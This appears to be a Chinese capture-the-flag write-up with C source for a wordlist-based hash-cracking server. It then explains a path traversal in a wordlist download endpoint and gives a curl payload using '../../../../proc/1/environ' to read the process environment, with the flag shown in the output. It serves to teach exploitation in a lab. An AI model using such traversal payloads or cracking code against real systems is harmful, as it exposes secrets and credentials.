void handle_request(const char *algo_type_str, const char *hash_str, const char *wordlist_str) {
    unsigned char output_bin[SHA512_DIGEST_LENGTH];
    char hash_bin[SHA512_DIGEST_LENGTH];
    char output_hex[SHA512_DIGEST_LENGTH * 2 + 1];

    int outfd = open(FIFO_OUT, O_WRONLY);
	if (outfd < 0) {
        perror("open FIFO_OUT for writing in handle_request");
        return;
    }

    int algo_type = atoi(algo_type_str);
    printf("[%d] target hash: %s  (wordlist: %s)\n", algo_type, hash_str, wordlist_str);
    fflush(stdout);

    int output_len = SHA256_DIGEST_LENGTH;
    switch (algo_type) {
        case 0: output_len = MD5_DIGEST_LENGTH; break;
        case 1: output_len = SHA_DIGEST_LENGTH; break;
        case 2: output_len = SHA256_DIGEST_LENGTH; break;
        default:
            fprintf(stderr, "Unsupported algorithm type: %d\n", algo_type);
            dprintf(outfd, "ERROR:unsupported algorithm type %d\n", algo_type);
            close(outfd);
    }

    compute_fn hash_functions[] = {
        compute_md5,
        compute_sha1,
        compute_sha256,
    };
    compute_fn* hash_fn = &hash_functions[algo_type];

    FILE *wordlist = fopen(wordlist_str, "r");
    if (!wordlist) {
        perror("fopen wordlist");
        dprintf(outfd, "ERROR:could not open wordlist '%s': %s\n", wordlist_str, strerror(errno));
        close(outfd);
        return;
    }

    from_hex(hash_str, (unsigned char *)hash_bin, output_len);

    char pw[512];
    int found = 0;
    while (fgets(pw, sizeof(pw), wordlist)) {
        size_t pwlen = strcspn(pw, "\r\n");
        pw[pwlen] = '\0';
        if (pwlen == 0) continue;

        (*hash_fn)((const unsigned char *)pw, pwlen, output_bin);
        to_hex(output_bin, output_len, output_hex);

        printf("Trying: '%s' -> %s (target %s)\n", pw, output_hex, hash_str);
        fflush(stdout);

        if (memcmp(output_bin, hash_bin, output_len) == 0) {
            dprintf(outfd, "SUCCESS:%s\n", pw);
            printf("SUCCESS: hash(%s) == %s\n", pw, hash_str);
            found = 1;
            break;
        }
    }

    if (!found) {
        dprintf(outfd, "ERROR:password not found\n");
        printf("ERROR:Password not found for %s\n", hash_str);
    }

    close(outfd);
    fclose(wordlist);
}

int main(void) {
    atexit(cleanup_fifos);
    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);

    cleanup_fifos();

    if (mkfifo(FIFO_IN, 0666) < 0) {
        if (errno != EEXIST) {
            perror("mkfifo FIFO_IN");
            return 1;
        }
    }
    if (mkfifo(FIFO_OUT, 0666) < 0) {
        if (errno != EEXIST) {
            perror("mkfifo FIFO_OUT");
            unlink(FIFO_IN);
            return 1;
        }
    }

    chmod(FIFO_IN, 0666);
    chmod(FIFO_OUT, 0666);

    printf("Hash server listening on FIFOs:\n  IN:  %s\n  OUT: %s\n", FIFO_IN, FIFO_OUT);
    printf("Protocol: write a request (three lines) to %s and read the single-line response from %s\n", FIFO_IN, FIFO_OUT);
    printf("Request format (text lines):\n  <algo_type>\n  <hash_hex>\n  <wordlist_path>\n");
    printf("Notes: Clients should open %s for reading before (or concurrently with) writing the request\n", FIFO_OUT);
    fflush(stdout);

    const size_t BUF_SZ = 16 * 1024;
    char *buf = malloc(BUF_SZ);
    if (!buf) {
        perror("malloc");
        cleanup_fifos();
        return 1;
    }

    while (!stop_flag) {
        int infd = open(FIFO_IN, O_RDONLY);
        if (infd < 0) {
            if (stop_flag) break;
            perror("open FIFO_IN for read");
            sleep(1);
            continue;
        }

        ssize_t total = 0;
        while (total < (ssize_t)(BUF_SZ - 1)) {
            ssize_t r = read(infd, buf + total, BUF_SZ - 1 - total);
            if (r < 0) {
                if (errno == EINTR) continue;
                perror("read FIFO_IN");
                break;
            } else if (r == 0) {
                break;
            }
            total += r;
        }
        close(infd);

        if (total <= 0) {
            continue;
        }
        buf[total] = '\0';

        char *lines[4] = {0};
        size_t linec = 0;
        char *p = buf;
        while (*p && linec < 4) {
            // skip leading CR/LF
            while (*p == '\r' || *p == '\n') p++;
            if (*p == '\0') break;
            lines[linec++] = p;
            char *nl = strpbrk(p, "\r\n");
            if (!nl) break;
            *nl = '\0';
            p = nl + 1;
        }

        if (linec < 3) {
            fprintf(stderr, "Invalid request: expected 3 lines, got %zu\n", linec);

            int outfd = open(FIFO_OUT, O_WRONLY | O_NONBLOCK);
            if (outfd >= 0) {
                dprintf(outfd, "ERROR:invalid request: expected 3 lines, got %zu\n", linec);
                close(outfd);
            }
            continue;
        }

        const char *algo_type_str = lines[0];
        const char *hash_str = lines[1];
        const char *wordlist_str = lines[2];

        pid_t pid = fork();
        if (pid < 0) {
            perror("fork");

            int outfd = open(FIFO_OUT, O_WRONLY | O_NONBLOCK);
            if (outfd >= 0) {
                dprintf(outfd, "ERROR:server fork failed\n");
                close(outfd);
            }
            continue;
        } else if (pid == 0) {
            signal(SIGINT, SIG_DFL);
            signal(SIGTERM, SIG_DFL);
            handle_request(algo_type_str, hash_str, wordlist_str);
            _exit(0);
        }
    }

    free(buf);
    cleanup_fifos();
    return 0;
}

通过代码分析,主要漏洞点在/api/wordlist/download中存在路径遍历,因为在HandleDownloadWordlist 函数中,没有使用 path.Base() 过滤文件名,导致可以遍历目录,通过路径遍历读取环境变量

bash 复制代码
filePath := filepath.Join(wordlistDir, json.Filename)

构造payload

bash 复制代码
└─# curl -X POST http://x.x.x.x:14423/api/wordlist/download \
  -H "Content-Type: application/json" \
  -d '{"filename":"../../../../proc/1/environ"}' | strings
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   345  100   304  100    41    890    120 --:--:-- --:--:-- --:--:--  1008
{"content":"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000HOSTNAME=paf_traversal\u0000FLAG=Hero{e9e2b63a0daa9ee41d2133b450425b2cd7c7510e5a28b655748456bd3f6e5c2a}\u0000DEPLOY_HOST=dyn12.heroctf.fr\u0000DEPLOY_PORTS=8000/tcp-\u003e14423\u0000HOME=/app/\u0000","filename":"environ"}

#  可以看到FLAG=Hero{e9e2b63a0daa9ee41d2133b450425b2cd7c7510e5a28b655748456bd3f6e5c2a}
相关推荐
文刀竹肃1 小时前
theHarvester - 企业信息收集工具详解
安全·网络安全
NewCarRen1 小时前
AI驱动的网联自动驾驶汽车网络安全测试方法
网络安全
名字不相符3 小时前
[NCTF 2018]flask真香(个人记录,思路分析,学习知识,相关工具)
python·学习·flask·ctf
pandarking4 小时前
[CTF]攻防世界:ez_curl
android·web安全·网络安全
重生之我在番茄自学网安拯救世界4 小时前
网络安全中级阶段学习笔记(三):XSS 漏洞学习笔记(原理、分类、利用与防御、POC大全)
网络安全·xss·poc大全
上海云盾-小余12 小时前
WEB防火墙的主要防御功能有哪些
安全·web安全·网络安全·安全威胁分析·ddos
jenchoi41320 小时前
【2025-12-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
白帽黑客-晨哥20 小时前
零基础系统学习渗透测试路线图
学习·网络安全·渗透测试·护网行动·产教融合·湖南省网安基地
咨询QQ2769988520 小时前
COMSOL模拟蛇形流道PEMFC:多因素考量下的探索之旅
网络安全